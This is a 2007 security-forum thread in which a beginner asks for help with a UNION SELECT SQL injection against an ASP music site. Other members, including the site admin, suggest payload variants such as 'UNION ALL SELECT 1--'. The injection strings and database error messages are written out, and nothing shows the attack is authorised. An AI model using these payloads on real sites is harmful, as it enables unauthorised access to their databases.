|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Query input must contain at least one table or query (Q) |
|
Posted: Tue Feb 13, 2007 12:42 pm |
|
|
eliter |
Beginner |
|
|
Joined: Feb 13, 2007 |
Posts: 3 |
|
|
|
|
|
|
|
Hello, I heared about this IT website ,, am really like it
I have a question please, I found SQL error in ASP
I'm trying to inject it now:
Code: | -1+UNION+SELECT+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null |
but still show
Code: | Microsoft JET Database Engine error '80004005'
Query input must contain at least one table or query.
/Asp/Music/Albums/Songs/index.asp, line 85
|
Any idea? |
|
|
|
|
|
|
|
|
Posted: Tue Feb 13, 2007 2:43 pm |
|
|
Chb |
Valuable expert |
|
|
Joined: Jul 23, 2005 |
Posts: 206 |
Location: Germany |
|
|
|
|
|
|
It just asks you to use a Table for your query... The script does not know, where to select nothing.
This means, your query is quite broken. It has to be 'SELECT bla FROM foo WHERE blafoo'. |
|
|
|
|
Posted: Tue Feb 13, 2007 6:56 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
This can be M$ Access, which is without UNION support.
Or try to use numbers, not nulls:
"UNION ALL SELECT 1"
and look for further error messages.
And maybe there is need for commenting out:
"UNION ALL SELECT 1--"
or
") UNION ALL SELECT 1--"
etc etc
You are lucky, because you have error feedback, so try to figure out, what's happening inside |
|
|
|
|
Posted: Wed Feb 14, 2007 11:38 am |
|
|
eliter |
Beginner |
|
|
Joined: Feb 13, 2007 |
Posts: 3 |
|
|
|
|
|
|
|
thanks for you i will try |
|
|
|
|
Posted: Wed Feb 14, 2007 11:46 am |
|
|
eliter |
Beginner |
|
|
Joined: Feb 13, 2007 |
Posts: 3 |
|
|
|
|
|
|
|
Really I tried something with numbers ,,, is still error reporting :S
with ) and --
Code: | Extra ) in query expression 'SingerIDE=154 AND AlbumIDE=-1 ) union all select 1,1,1,1,1--'.
|
hmmm, if really have union unavaliable i can't do something ,,
sorry for interrupts but really i will find the help here , so any idea ? |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|